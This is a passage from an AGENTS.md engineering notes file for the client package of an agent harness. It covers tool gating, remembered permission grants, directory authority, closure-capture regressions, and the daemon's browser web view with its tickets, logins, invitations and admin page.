AGENTS.md@packages/client · git:20261012.f09e5cb · 2026-10-12 · sha256 7f0afb80693dab4f
AGENTS.md@packages/client git:20261012.f09e5cbB
Immutable. This exact content never changes and is served at /api/v1/blob/7f0afb80693dab4f.
# client
## Responses cybersecurity access
`client/catalog.CatalogModel.cyber_access` holds an optional typed
`provider/model.CyberAccessProgram` selected by `[models.<name>].cyber_access`.
Only `openai-responses` and `codex-subscription` accept the key. The catalogue
attaches it through `provider/gateway.with_cyber_access`; the opaque gateway
indexes selections by provider name, and each actual attempt passes that
entry's option into the Responses request encoder. Missing options omit
`access_programs`; explicit options send the bounded `cyber` value. Provider
approval remains remote. A 403 denial is terminal, and retryable fallback uses
its own entry's selection. The frozen resolved identity and request types keep
their existing shape.
## Per-strand shell directories
`client/working_directory` stores canonical shell defaults under reserved
`client/working_directory/<strand>` facts, through `owner_services.FactAccess`
(whose `cell` and `put` use the projected fact supplier from
`agency.fact_supplier`). Missing state means workspace; corruption,
unavailable storage, a deleted directory or a redirected canonical target is
an explicit error. An absolute setter path allows recovery. Writes compare the
previous sequence. `serve` installs the native tool and wraps the existing
code-mode router so `proc.run` shares the default and `proc.in_dir` overrides
one call. File/search/LSP paths remain workspace-relative. `jobs.Request.cwd`
passes through `jobseam.Door.start` into durable `JobSpec.cwd` before launch.
Finite LSP observation inference selects the first source's configured owner
and checks every remaining source against it before acquisition or text reads.
Explicit assertions remain exact, and mismatch errors name both owner pairs.
Installed Gleam inventories compare parsed contents with recursively ordered
table keys. A serializer-only reorder cannot evict a warm server; versions,
Git commits and every supported string value remain part of the stamp.
Unsupported values and excess table depth refuse reuse.
Project configurations and manifests retain their byte hashes.
## LSP query handle ownership
`lsp/manager.Manager` retains reachability, workspace/server identity,
search, protected paths, timing and display roots. Its caller-side handle
excludes `Backend.connect`; the manager actor and keeper retain the full
configuration and perform transport startup. Every query and stop still
resolves the same restartable address and uses the original bounds. The
capture regression grows only connect's environment and requires both the
handle and its eight door callbacks to remain the same flat size. The returned
server transport projects the abort callback and step identity before retaining
its abort closure; environment lookup stays with preparation, tested by growing
only its captured payload through the scripted enforcement probe.
## Context observation and router capture
`context_view.reader` projects the immutable tool registry into a private
name-keyed table containing only names, descriptions and schemas before
constructing the hub's session-lived reader. Every observation still captures
the current strand configuration and leaf together, then selects active tool
names from that configuration. Sorting, deduplication, missing-name omission
and duplicate registration replacement retain their existing semantics.
`serve` also projects the fallback context window and compaction settings
before retaining the reader. The public `read` and `inventory` adapters share
the projected implementation; the production reader projects once at boot.
`serve.with_code_mode_peers` retains the preceding `wrap_router` function
before composing the peer router. It calls that wrapper first and binds peer
access to the launching request's strand. The returned host still owns its
execution configuration, but the router callback no longer duplicates the
unrelated configuration in its environment. Capture-size regressions grow
unrelated executor or host payloads and require both readers to remain the
same size. Behavioral assertions independently pin observation and routing.
`codemode.serving` also fills `Config.strand_tools` from the Agency's `holds`
for every seam selection, and the execution configuration turns it into
`tool_gate.precheck` on the satellite host. The precheck runs in each call's
worker and refuses a capability whose authorizing tool (`codemode/tool_gate`'s
table: `bash`, `fs_write`, `fs_edit`, `job_*`, `schedule_*`, `agent_*`) the
calling strand's durable active list lacks. `None` means no messaging plane
and no check. The extension dispatch host is a separate configuration and
never installs it. `agency.holds` returns `ToolNotHeld` only for a tool
absent from a readable list and lets `AgencyUnavailable` and `PlaneFailed`
flow through.
`async_codemode.launch` likewise projects the preceding router before
constructing the execution's wrapper. Its admitted work closure retains the
prepared configuration once; the wrapper adds no path to the original host
configuration. The regression observes the actual `async_runs.Launch` message
after a process copy, grows an unrelated entropy payload, and requires exactly
one payload's growth while preserving the execution identity and deadline.
## Gateway membership and restart captures
The gateway projects `Options.registry` into a private name-keyed dictionary
before building its actor state. That state distinguishes an absent registry
from a configured empty registry, lists sorted registered names, and validates
operator selections and history-tool availability without keeping tool
executors in this slot. Public startup options still accept the same registry
used by the runtime effect surface; execution remains owned by that surface.
The async-run and hub child-start callbacks project their heartbeat, session,
workspace, catalogue and code-mode refusal inputs before constructing the
restart specification. Those callbacks retain the runtime inputs they require,
but no longer add a path through the complete startup `Settings` record.
## Transfer captures and a slow storage actor
`begin_transfer` does not wait for storage. It starts a one-task weft run
whose task calls `snapshot_reader.capture`, so the run owns the reply subject
and the five-second deadline, and the answer returns to the hub as
`CaptureReported` through the pending entry in `State.captures`. The entry
holds the request's reply capability, because `request_frame` clears the
connection's own copy when it returns. A late reply goes to a task that has
already exited, so it is never an unexpected message in the hub's mailbox, and
the hub keeps serving every other attachment while one capture is outstanding.
`reader_failed` fences the hub (`ReaderPoisoned`, every attachment closed, the
incarnation's stop capability invoked) only for `snapshot.ReaderUnavailable`,
which `storage/internal/snapshot_call` reports when its monitor sees the
storage actor die. `ReadTimedOut` is only a deadline. It refuses the one
request in band as `snapshot_failed` ("retry the request"), drops that
transfer, and leaves the attachment open for the client's retry. The cost is
that a storage actor which is alive but never answers no longer retires its
session by itself; each retry queues one more capture behind it, bounded by
the one request a connection may have in flight. The goal, advisor, block
summary and notes reads still call `capture` from the hub's own process, so
they can still receive a late reply there; they take the same refusal.
## Provider observation capture
`wiring.request_image_classifier` projects the session before constructing
the callback used by `serve.summary_tap`. The dispatcher and the block summary
observer still classify the current context and immutable admitted prompt
batch with one implementation. The observer carries no tool registry or
executable tool callbacks. Its flat copy cost must stay unchanged when an
unrelated registration's run payload grows; `wiring_test` pins that property,
and `vision_test` covers held image batches and their continuations through
the classifier.
`wiring.build_effects` separately projects `ProviderRouting` and
`ProviderConfiguration` before retaining provider callbacks. The latter carries
the session, pinned system prompt and a name-keyed table of `model.ToolSpec`;
tool executors, requirements and environment remain in `Effects.tools.run`.
The table comes from the same immutable registry used for execution. Each
request's durable active names still control selection, sorting, deduplication
and omission of unknown names, so prompt cache prefixes and authorization
remain unchanged. Public request and target helpers retain their signatures and
use the same projected implementations as the production surface.
`Effects` is copied into every process and supervisor child specification
that holds a session's runtime, and a closure over `wiring.Config` puts a full
copy of the tool registry into each one. `client/serve` therefore builds its
effects with `wiring.build_effects_held`: the `run` slot captures only the
address of a `client/tool_holder` process, which keeps the one `Config` and
hands it back to each tool run (`run_tool_held`). A holder that is gone or does
not answer inside five seconds yields an in-band `ToolCompleted` failure, never
a crash. The holder is published to custody as `instance_owner.ToolConfig`
before `api.open_published` and retires directly after `Runtime`, because
tools run until the runtime drains. `build_effects(config)` keeps the capturing
closure for tests, the scripted demo and extension hooks.
## Code-mode alternatives on direct tools
`contributions.built_in` appends a concrete capability call and result shape to
`fs_read`, `fs_write`, `fs_edit`, `grep` and `bash` descriptions when code mode
is wired. Each hint requires both the module in the default seam's import
allowlist and the call in its serviced capabilities. An alternate seam alone
cannot justify a call that omits the seam argument. The tool-index snippets
retain their direct contracts; the descriptions carry the alternatives once.
Text reads omit image blocks, windows and anchors; capability edits use unique
string replacements; `proc.run` is foreground argv execution without shell
expansion. The native tools' schemas and execution remain unchanged.
## Operator startup diagnostics
Protocol 055 records the bounded operator diagnostics contract. The manager's
`StartFailed(reason)` retains one line of at most 2048 UTF-8 bytes in the
existing capacity-capped operation memo. Both session builder errors and
failed domain construction memo the initiating session operation before
cleanup; `daemon/server.dispatch` sends that reason only after epoch and
session authority checks for `operations.get`. Exact failures precede live
`Stopping` status while retirement holds the reservation; next admission
clears the old memo before builder publication. The log retains the domain
failure class and adds the same bounded configuration reason. Retirement
still owns replacement permission; a diagnostic is never custody evidence.
`serve.extension_registrations` returns the successful registrations and
bounded refusal notices from the same discovery. `gateway.with_extension_refusals`
captures at most 32 notices of 2048 bytes in `Options` and actor state;
`captured_transfer` includes them in `tool_availability.extension_refusals`
for every authenticated snapshot. Assembly reports up to 32 refusals, or the first 31 and an
explicit `loom ext list` overflow notice. Reinstall guidance follows the
existing remove-then-install policy. Refused extensions register no tools.
`hookrunner.settled` preserves broker failure text in bounded stderr while
keeping exit 1 and empty stdout. A degraded execution includes the exact
enforcement entries; a timed-out or cancelled degraded execution instead
returns `WallCancelled` with both streams empty. `hook_diagnostic_test`
proves these outcomes through the real broker and helper wire protocol,
independent of host enforcement availability.
This proof ends at `hookrunner.Outcome`: existing compatibility consumers
may discard exit-1 stderr. Transcript or debug-log delivery through those
consumers is not established, and their decision policy is unchanged.
## Remembered permission decisions
`permissions` owns `fact.custom/client/permission_grants`, separate from the
existing-directory additions. It accepts canonical readable/writable paths,
including exact files that do not exist yet, and full network access. Every
other grant type remains once-only, except exact-action session wall consent
described below. `gateway` validates the displayed action,
sequence and echoed subset before preparing a union of those echoed grants.
The runtime atomically commits that fact and approval under both expectations.
`wiring.run_tool` is `read_authority` followed by `run_workspace_tool`.
`read_authority` reads the stored directory additions, standing grants and
exact-action consent from the session store and never touches the filesystem
(`directories.read_stored`, `permissions.read_for_stored`); the result is the
plain-data `wiring.Authority`. `run_workspace_tool` revalidates it against the
local filesystem (`directories.revalidate`, `permissions.revalidate`), then
widens the policy and dispatches, taking only a `WorkspaceView` of the `Config`
plus the two owner functions (`refused`, `output`). The fused `directories.read`
and `permissions.read_for` remain as compositions for other callers. The
split is what lets a workspace on another node run the second half. It
validates and snapshots remembered grants once. Their path
component joins explicit native access; their path and network component joins
the jail policy. Protected writes remain denied. Reopening the session restores
this authority, while a paused call resumes with its consumed call approval and
already-running jobs keep their earlier snapshot. A malformed fact or retargeted
canonical path refuses dispatch. See protocol 041.
## Session directory authority
Production retains a projected `api.FactHandle` in the directory supplier
before constructing the hub's restart callback. `directories.admin_with_facts`
owns only that supplier, workspace and protected paths for mutation; its
readback callback owns Storage alone. The gateway still owns Runtime for
execution. The existing `admin` constructor acquires its Runtime lazily after
filesystem validation and projects the handle when called, preserving its
unavailable behavior. Conditional commitment and authenticated origin follow
the same path for both constructors.
`directories` owns the reserved `fact.custom/client/directory_access` record.
The operator gateway accepts `set_config.add_directory`, validates the real
existing directory and enforces protected paths for write additions, and commits through
`api.put_reserved_fact_expecting`. The recorded origin attributes the change.
Observers cannot mutate it, and model fact writes cannot name the reserved
key. Directory additions survive reopening the session; unreadable, malformed
or retargeted state refuses tool execution.
`wiring.run_tool` captures additions once and derives the jail policy and
native `directory_access.Access` separately. Jobs receive the invocation's
captured policy through `jobseam.Door.start` and `jobs.Request`; they do not
change when later tools receive new access. Code-mode filesystem and search
closures capture explicit native roots plus consumed call grants. Installed
extensions retain their separate installation authority.
## Streamed response handoff
Provider observation identities include the reserved response entry for
generation and poll requests. The runtime supplies that ID from its durable
intent; `gateway.request_identity` never mints a replacement. This lets the
terminal distinguish provider completion from the delivery of its saved answer.
See `protocol-change/036-stream-response-handoff.md`.
## Web view (`loomd --ui`)
`protocol-change/051`, its operator addendum, and ADR-014. `daemon/main`
parses `--ui` into `Config.view` (`ViewOff | ViewOn`). With it, `run`
starts `daemon/ui_sessions` and passes `server.Ui(sessions, upgrade)` to
`listen_serving`; without it `server.Config.ui` is `None`, every `/ui` path
is a 404, the control `hello` has no `ui` field and `ui.link` answers
`unavailable`.
- `daemon/ui_project`: derives each workspace's project for the web view's
lists, with no cache and no process. `locate(workspace)` reads
`<workspace>/.git` through one `file_info` (which follows symlinks): a
directory is a plain checkout (the workspace is its own project); a file of at
most 4 KiB is a worktree's `gitdir: <repo>/.git/worktrees/<name>` pointer,
followed to the main repository (a bare repository's common directory is its
own project) and accepted only when git's backlink
`<repo>/.git/worktrees/<name>/gitdir` (same size cap) names this workspace's
`.git`, so a hostile `.git` cannot claim someone else's repository. Anything
else is `None`. Plain Gleam and `simplifile`, no FFI. `ui_socket.with_projects`
maps it over the entries: inside the session page's list task
(`listed_task`), and, for now, beside `home_listing` in the home's `sessions`
closure, which moves into the home's read task with it. The field is in
process, not on a wire, so no protocol addendum.
- `daemon/ui_sessions`: one `weft/actor` owning the ticket table (60 s,
single use) and the UI-session table (8 h), both keyed by the SHA-256 of
the secret. A `Grant` carries a `Scope` (`Session(id)`, `Home` or `Admin`,
protocol-change/065), the minting credential's digest, the principal, the
page's `ceiling` (`Observer` unless `ui.link` named `page:"operator"`), a
`Reach` (`OneSession | Workspace`), an `Origin` (`Fresh | Resumed`) and a
`Remember` (`Remembered | Forgotten`) (protocol-change/065, PR 8). `ui.link` without
`session_id` mints a `Home` grant; the home routes (`ui_http.HomeExchange`,
`HomePage`, `HomeSocket`, `server.home_grant`/`home_socket`) and
`ui_socket.upgrade_home` serve it, a home living `ui_sessions.session_ms`.
The router hands each page's `grant.reach` to `ui_socket.upgrade` and
`upgrade_home`, which build the page's `Standing`, and every ticket a page
mints carries it. The admin page's three routes (`server.admin_grant`,
`admin_socket`, `Ui.admin`, `AdminAttachment`) check the cookie's grant is of
the `Admin` scope and its credential authenticates as the owner at every
request, and `ui_socket.upgrade_admin` serves it.
Redemption is one message: it spends
the ticket, answers `UnknownTicket` or `OtherScope`, and mints three
secrets, ending no other page except the principal's oldest when it
already holds `max_pages` (four, `ending.max_pages`) live pages for the
session (each `Page` carries a serial for the order, since the clock can
tie; an expired page is not counted), the cookie, the page key and the nonce, keeping only their
digests in an opaque `Page`. `keyed` and `admits` compare a presented
key or nonce by digest in constant time. `still_open` is the check an
open page runs with every frame. `actor.periodic` sweeps; every read
checks the deadline itself. It also holds each page's reader of its images
(`register_images`, `images`; protocol-change/051, the addendum on images):
the page socket registers, under the page's cookie, a function that asks its
own component, and the image route reads it back. It is found only through a
live UI session, is replaced by a reload's new socket, and is dropped by the
sweep with the page.
The browser login (protocol-change/065, PR 8) rides on the same table. A
`Remembered` ticket (`loom ui`'s home, a device link) sets a login when it is
exchanged: `server.entered` is the one function that builds a redeemed ticket's
response, and it asks `ui_login.issue` for a token and a catalogue row, sets the
`loom_login` cookie and the login's key and nonce in the body, and attaches the
login to the page (`attach_login`). Every ticket carries the `Issuer` (the
login's fingerprint, expiry and key) of the context that minted it
(`mint_in`, `mint_device`, `mint_resumed`), so a page knows its login
(`login_of`), a device link inherits the issuing login's expiry, and a chain of
switches neither loses the login nor becomes fresh: `Origin` is carried onto
every ticket a page mints. A device link's ticket lives `device_ms` (ten
minutes). `Exchange` (`SessionExchange(id) | HomeExchange | AdminExchange`) names which
exchange a ticket is redeemed at. `ui_socket.fresh_home(reach, origin)` is the
one rule for who may open the admin page and refuses a `Resumed` home; the
admin page's sign-in reads and `RevokeSignin` run beside its other changes
(`admin_logins`, `revoke_signin_for_admin`), and its ticket carries the
pressing page's login so it marks "This browser".
An `Admin` page (the fifth addendum) lives `admin_ms` (fifteen minutes, never
more than `Settings.session_ms`) and is counted against `max_pages` apart from
homes and sessions; its ticket redeems only at the admin exchange.
The same actor keeps the page-minted
invitations' allowance, which the admin page's invitations, rotations and raised
roles share with the session page's invitation control: `reserve_invite` and `release_invite`, keyed by the
credential's fingerprint and not by any page, at most `invite_limit` (three)
in any `invite_window_ms` (an hour, the claim's own lifetime), counted and
taken in one message. A refusal answers the wall-clock Unix time at which a place
frees (`Error(free_at_ms)`, the `invite_limit`-th newest reservation's instant
plus the window, carried from the monotonic clock to the wall clock), which the
admin page words as the count and the UTC time (`grants.TooMany`).
- `daemon/ui_login`: the daemon's half of the browser login (protocol-change/065,
PR 8). `root_key(state_root, registry)` reads `browser.key` through
`host/login.probe_root` or, when it is missing, revokes every login row
(`manager.revoke_all_logins`), logs `daemon.logins_revoked` and only then writes
a new key (`write_root`); a key that is present and wrong refuses `--ui`.
`issue(root, registry, grant, parent, now)` draws the login's identifier, key
and nonce, signs the token, writes the row (`manager.issue_login`, whose digest
is `access.browser_digest(login.row_digest(id))`) and answers `Minted`;
`parent`'s expiry becomes the new login's, and `issued_by` its fingerprint.
`resume(root, registry, cookies, key, nonce, now)` opens each cookie value in
turn (`login.open`: parse, chain, caveats, key, nonce, clock) and only then
asks the registry (`manager.resume_login`: the row is active, of kind
`Browser`, and the token's principal). It logs `daemon.login_issued`,
`login_resumed` and `login_revoked` with the fingerprint and never a token.
`server.login_resume` is the `POST /ui/l/<key>/home` handler: sender
(`ui_http.same_origin_post`), declared form (`form_declared`), a `Control`
parser permit, the body's `nonce`, `ui_login.resume`, then a ticket minted and
redeemed in the same request (`Resumed`, `Forgotten`); a login narrowed to a
session mints a `Session` page of that session (`OneSession`) and never a home.
`GET /ui/l/<key>/home` is `page.login_page`, served under `form-action 'self'`.
`claim(root, registry, claim_digest, name, now)` is the browser claim's side
(PR 9): it draws a login, binds its row to the claim with `manager.claim_login`
(an `Operator` login ending thirty days out, the name in the same transaction),
and only then signs the token for the principal the catalogue names. The route
is `server.claim_submit`: `same_origin_post`, `form_declared`, the body
(`ui_http.posted_claim`), the token's shape (`host/claim.validate_token` on the
trimmed value, before any lookup or permit), `root.acquire_claim` (one
reservation per claim, as `/v2/claim`; a second post in flight is 409),
`ui_login.claim`, then a `Home`
ticket (`Fresh`, `Operator`, `Workspace`, `Forgotten`) minted and redeemed in
the request, the login attached to the page, and `server.enter_response` (the
half of `entered` that writes the cookies and body) sets it. A refusal is the
claim form again under `form-action 'self'` with one fixed paragraph
(`page.ClaimNotice`); the success is under `form-action 'none'`.
`ui_sessions.Settings.wall` is the wall clock a ticket's login expiry is
compared with, since `now` is monotonic: a `Remembered` ticket whose login has
ended is `UnknownTicket` before it makes room; a `Forgotten` one is not held to
it.
- `daemon/ui_http`: pure checks. `route` also routes the admin page's three
(`AdminExchange` at `/ui/admin?ticket=`, `AdminPage`, `AdminSocket`) and the
claim's two (`ClaimPage`, `ClaimSubmit` at `/ui/claim`); `posted_claim` reads
the form's `token` and optional `name`, each once and no other field. `route` (the exchange at
`/ui/sessions/<id>?ticket=`, the page at `/ui/p/<key>/sessions/<id>`,
its socket at `.../ws` with the `csrf-token` query, and five assets),
`loopback_host`, `exchange_allowed` and `navigation_allowed`
(`Sec-Fetch-Site` is `none` or `same-origin`), `origin_matches`, the
`loom_ui` cookie (`HttpOnly`, `SameSite=Strict`, `Path=/ui/p/<key>`) and
`secured`, whose `Referrer-Policy: no-referrer` is load-bearing. `route`
also routes `Image(key, id, ref, position)` for
`/ui/p/<key>/sessions/<id>/image/<ref>/<position>` (a name of digits, `.`,
`~` and `-` up to 48 characters, and a position below `max_position`;
anything else is `Unknown`).
- `daemon/ui_assets`: the page's stylesheet, bootstrap scripts and client
components' bundle (from `web_view`'s `priv/static`, `page.static_file`,
built from `web_client` by `make gen-client`) and Lustre's client runtime
(from `lustre`'s `priv`), read once by `main` when `--ui` is on and held
in `server.Ui`. A release that lost one refuses `--ui` at startup; a
request never touches the disk.
- `daemon/server`: routes in 051's order of checks. The exchange answers
200 with the keyed path and the nonce in the body, never a redirect.
`page_grant` re-checks the cookie, its key, its session, and
`manager.authenticate` and `session_authority` for the minting
credential on every request. The socket also requires the nonce, then
goes through `resident_upgrade` with `PageRole(ceiling)`, which caps the
attachment's authority with `ui_relay.capped` and admits it with that
role's parser permit. `UiLink` mints a ticket for a member of the
session. The image route (`web_document`'s `Image` arm) requires a fetch
site of `same-origin` or `none`, then `page_grant`, then the page's registered
reader, and answers what `web_view/image.serve` allows: 200 with the checked
type and the view's headers, 404 for an image the page did not draw or a page
with no reader, 415 for a type or bytes that are not a raster image and 413 for
one over 20 MiB. `Ui.upgrade` takes the registration function as its fourth
argument, ahead of the ceiling.
- `daemon/upgrade_log`: the record of an upgrade the daemon itself slowed
or refused. `server` times each root and registry question on the way to
an upgrade (`ready`, `authenticate`, `session_authority`, `get`,
`resolve_incarnation`, `acquire`) and writes `daemon.upgrade_slow` for a
step of 250 ms or more and `daemon.upgrade_refused` when the daemon was
the one that could not answer, including a session that is not resident
(the 409). A socket closed before its first frame writes
`daemon.socket_closed_early`. Lines carry a route class, a step and a
fixed reason, never a credential, key, nonce or ticket.
- `principals.rename` (protocol-change/065, the tenth addendum): `protocol.RenamePrincipal`
decodes an optional principal, an unjudged name of at most 1024 bytes and the
epoch; `server.dispatch` answers it through `manager.rename_principal`, one
registry turn that authenticates the caller and epoch, lets a member name only itself
(the owner any principal), applies `storage/access.rename`'s claim-time name rule and
drops the authority memo. A refused name is `invalid_name`. `ui_socket.rename_self_for`
and `rename_for_admin` are the home's and the admin page's daemon checks;
`home_rename_self_capability` hands the home its capability, and `home_event` admits a
`submit` beneath `home.signins_path`.
- `daemon/ui_socket`: the page's mist socket. It transfers the permit in
its first handler turn and starts `web_view/component` for an observer's
attachment or `web_view/operator_page` for an operator's, with a
transport over `ui_relay` whose `connect` returns at once, and with the
session's catalogue name and workspace for the page's heading, from the
registration the route read when it resolved the session
(`server.Attachment.registration`), and a digest of that workspace path
(`component.Start.workspace_digest`, the lower-case SHA-256 in hex) that
the browser keys the reader's saved layout by, so a path is never an
attribute or a storage key. An observer's
socket forwards only the "Load older" click at `component.older_path`, the
context breakdown's Refresh click at `component.context_refresh_path`
(protocol-change/075), the chips, the Home button and a fold's divider
and drops every other browser message (`observer_accepts`,
protocol-change/051, the addendum on history paging); an operator's
forwards only the
click and submit events its page attaches (`operator_accepts`) and takes
frames up to `operator_frame_limit` (12 MiB, which holds a draft and 8 MiB of
images at their base64 size; an operator's page is admitted as
`root.PageOperator`, charged `root.operator_peak`, 64 MiB, for a submit's five-copy peak; an observer's stays 64 KiB). It registers the page's image reader with
`register` when its component starts (`Page.images`: a `lustre.dispatch` of
`ImageRequested`, answered on the asking handler's subject within two
seconds, and refused at once when the socket's process is gone). It closes on the relay's
`Ended`, with the close code `web_view/ending.close` gives that reason (1000
after a quarter second for an ending the person resolves, 4000, through
`mist.stop_abnormal`, for one that may clear), and shuts the component down
on close. The two failures in `admit` that are the daemon's alone (the
permit's transfer, the component's start) also close with 4000, which
Lustre's client runtime retries; a 1000 there left the tab empty for good.
`upgrade` takes the ticket table's handle (`ui_sessions.Sessions`, which
`daemon/main` holds), so an operator page can open another session
(protocol-change/051, the addendum on switching sessions): the transport's
`open` is `opened_for(role, ..)`, which declines an observer's page without
asking, and otherwise `ticket_for(standing, tickets, open, target)` (a
`Standing` is the registry, credential digest, principal, ceiling and reach of
the asking page, from `page_standing` or, for a home, `home_standing`),
which checks with the page's credential digest that the identity is a
canonical session's (after `open()` says the asking page is still open, which
also yields its deadline, carried onto the ticket by
`ui_sessions.mint_before`, so a chain of switches never outlives the page it
began from; `ui.link` tickets keep eight hours), that `manager.session_authority` finds the principal's
membership in it and that `manager.get` reports it resident, then mints a
ticket into the same table with the page's own principal, ceiling and reach
(`sessions.Ticketed(path)`, else `Declined(NotHeld | NotRunning |
Unavailable)`). `observer_accepts` still drops a click beneath
`component.sidebar_path` and now also admits one at exactly
`component.home_path`; `operator_accepts` admits any click, as before. A page
of `Workspace` reach is handed `Transport.home` (`home_capability`), whose
`home_ticket_for` checks the page is open and the credential still
authenticates as its principal, then mints a `Home` ticket (`Workspace`
reach, the page's deadline and ceiling, never remembered, `Declined(NoHome)`
on any refusal). The home's socket takes a click beneath `home.table_path` or
`home.sidebar_path` (`home_accepts`) and its `Start.open` is `ticket_for` with
the home's `Standing`. A home also manages its principal's browser logins
(protocol-change/065, PR 8): `signins_read`, `sign_out_for` and
`sign_out_all_for` read and end the principal's own logins through
`manager.signins`, `revoke_login` and `revoke_logins` (the registry applies the
own-or-owner rule, drops its frame memo and answers the digest the page logs),
and `device_link_for` mints the ten-minute `Remembered` device ticket for a
`Fresh` home only, after `reserve_invite`; `device_capability` hands the control
to a fresh home alone and the daemon refuses from a resumed one regardless.
`home_accepts` also takes a click beneath `home.signins_path`. `Standing` carries
the page's `origin` and `login`, from `server.PageGrant`, which the router builds
from the grant and hands to both `upgrade` and `upgrade_home`.
A saved session opens through `resume_for(standing, tickets, open, target,
within:)` (protocol-change/065, the third addendum): the page open, ceiling
Operator, a canonical identity, `session_authority` Owner or Operator
(`NotOperator` for an observer member), `manager.open` (any refusal is
`NotOpened`), a `weft/poll` over `manager.get` until `Resident` for at most
`resume_wait_ms` (30 s), then `ticket_for`. `resume_task` runs it in a weft
run of its own (one task, no deadline, `start_witnessed`, linked
to the Lustre runtime that called) and returns at once; the task's last act
is `deliver(answer)`, which the component dispatches as `Linked`. `resumed_for`
is the socket's gate: an observer role is refused `NotHeld` before any task.
`listed_entry` maps `Reserved` and `RecoveryBlocked` to `sessions.Blocked`.
The home and the sidebar list through `held_entries`, which reads the page's
custody once (`manager.custodies`) and applies `with_moves`: a session in a
move becomes `sessions.Moving(to)` and a tombstone is left out
(protocol-change/085); a failed custody read leaves the rows as the catalogue
says them. The admin drawer lists through `admin_rows`, the same `held_entries`
plus the views it draws, so it reads no summary for a tombstone.
The owner's home creates a session (protocol-change/065, the fourth addendum).
`home_create_capability(principal, ceiling, ask)` is `Some` for the owner at
Operator ceiling only, `upgrade_home` passes it as `Start.create` beside
`Start.rename`, and a home that holds either gets `home_owner_accepts` (a
`submit` beneath `home.table_path`, plus the clicks `home_accepts` takes), one
rule for both forms; every other home gets `home_accepts`.
`create_for(standing, tickets, open, create, folder, place, name, sharing,
within:)` re-derives the page from the grant: `authorized_owner` (open, the
epoch check, Operator ceiling, the credential authenticates as the page's
principal and that is the owner), `placed` (a `creations.Place`: a typed path
is judged by `folder`, which is `new_folder.check` in production; a drawn
workspace is one the owner's `authorized_page` lists, or one of the owner's
remembered folders, judged again by `folder`; protocol-change/074),
`creations.chosen_name` against that workspace, `ui_sessions.reserve_creation` (10 an hour per credential, apart from
invitations, not given back), then `create` (`HomeAttachment.create`, which is
`server.create_session`, the control command's own function) under a key
`web-<hex>`, a `daemon.session_created` line, and `opened_ticket` (the open,
wait and mint `resume_for` shares). `create_task` runs it in a weft run linked
to the Lustre runtime and returns at once.
A folder with no session (protocol-change/074). `client/daemon/new_folder` is
the filesystem half of the rule for a typed path: `check_in(typed, home)` types
the text (`creations.typed_path`), expands `~` (`creations.expanded`), makes it
canonical with `bootstrap.canonical_directory`, requires the canonical folder
to lie strictly inside the canonical home with no hidden segment
(`creations.inside`), and requires the folder's owner to be the home's owner
with owner rwx; `check` reads `HOME`. `server.create_session` ends by
`manager.remember_folder`, a cast to the registry that writes the catalogue's
recent-folders table (`catalogue.remember_folder`), so every surface feeds it;
`manager.recent_folders` and `forget_folder` read and edit it. `recent_for` and
`forget_for` run `authorized_owner` first and list only entries inside home;
`home_folders_capability` gives `Start.folders` on the creation capability's
condition, and `upgrade_home` builds its two functions with `read_task`.
The home's activity words (protocol-change/065, the home-list addendum) come
from `HomeAttachment.activity`, which `server.home_activity` builds: the
control command's `sessions.activity` read over the ids the page's credential
holds, re-derived in the registry (`held`, `manager.session_authority`) at
each read, reduced to one state word per session that answered
(`activity_states`). The control command answers a member the same way, only
for sessions it holds (protocol-change/050, the addendum on members).
`activity_task(ask, ids, deliver)` runs it in a weft run
linked to the Lustre runtime and returns at once, as `resume_task` does;
`Start.now` is `bootstrap.system_time_ms`.
The admin page (protocol-change/065, the fifth addendum).
`home_admin_capability(principal, ceiling, reach, ask)` is `Some` for the
owner's operating home that `fresh_home(reach)` calls fresh, `upgrade_home`
passes it as `Start.admin`, and a home that holds it gets `home_admin_accepts`
(`home_owner_accepts` and a click at `home.admin_path`). `admin_ticket_for`
re-derives the page at the press (open, Operator, fresh, credential authenticates
as the page's principal and that is the owner) and mints an `Admin` ticket with
`mint_before`; `admin_ticket_task` runs it in a weft run. `upgrade_admin` starts
`web_view/admin` over the same `websocket` with `admin_accepts` (a click or a
submit beneath `admin.body_path`). `admin_reading(attachment, open, chosen,
ended)` is the page's read and frame check (`manager.principal_page`,
`authorized_page`, `session_member_page`; owner first); `admin_for(standing,
tickets, open, epoch, address, action)` makes each of the five changes afresh
from the grant, takes a place from `reserve_invite` for a grant (an invitation,
a rotation, a role raised to operator) and none for a reduction, and shares
`invitation` and `give_back` with `invite_for`. `admin_read_task` and
`admin_task` run them in weft runs linked to the Lustre runtime.
`ui.link` and a switch build the exchange path with `page.exchange_path`.
An owner's operator page can also invite (protocol-change/051, the addendum
on inviting from the session page). `ui_socket.Role` has a third value,
`Owning`, an operator's page whose principal is the daemon's owner
(`role_of(attachment)`, from `Attachment.principal.kind`, never from the
page), and `upgrade` builds a `Transport.invite` for that page only (and `admit` puts it in the transport), which calls
`invite_for(attachment, tickets, open, address, role)`: the page must still
be open, the principal must be the owner, the claim address must be known
(`claim_address(request)`, `ws://` and the loopback `Host` and
`/v2/control`, `localhost` written `127.0.0.1`), the credential must have an
invitation left (`ui_sessions.reserve_invite`), and then
`manager.administer` runs `manager.Invite` for a `guest-` principal in the
page's own session with a claim from `server.claim_enrollment` that lives
`invites.claim_ttl_ms`. A refusal that made nothing gives the reservation
back and an unknown outcome keeps it. The socket's admission is split:
`operator_accepts` drops an event at or beneath `component.invite_path` or
`component.rename_path`, `owner_accepts` admits them, and the observer's
socket admits neither. `start_page` takes the `Role`.
An owner's page can also make its private session shareable
(protocol-change/065, the addendum on making a session shareable):
`shareable_capability(role, origin, ask)` is `Some` for `Owning` on a page a
`loom ui` exchange opened, and `shareable_for(attachment, origin, open)`
re-checks the origin, that the page is open and `Owning`
before `client/daemon/shareable.make` stops, isolates (`manager.isolate`) and
resumes the session, refusing as the module's table says. The admin page asks
the same task through `admin_for` (`grants.MakeShareable`), which takes the
daemon's `state_root` (carried on `server.AdminAttachment` and
`server.Attachment`). Both run in `detached`, a plain `spawn_unlinked` (no weft
shape fits an unlinked run), because the stop ends the page a linked run would
die with. A bookmark cannot mint access: `invite_capability`,
`shareable_capability`, `invite_for` and `shareable_for` all refuse a page a
bookmark opened (`mints_access`), and its Session tab draws a sentence
(`invites.Bookmarked`) in place of the controls.
`rename_for(standing, open, epoch, target, name)` is the owner page's rename
(protocol-change/067): the page open, the ceiling operating, the credential
authenticating as the page's principal and that principal the owner, `target`
a canonical identity, the trimmed name through `catalogue.display_name`, and
then `manager.rename` (owner and epoch again, and the catalogue refuses an
identity it does not hold). Every non-owner standing, forged identity and
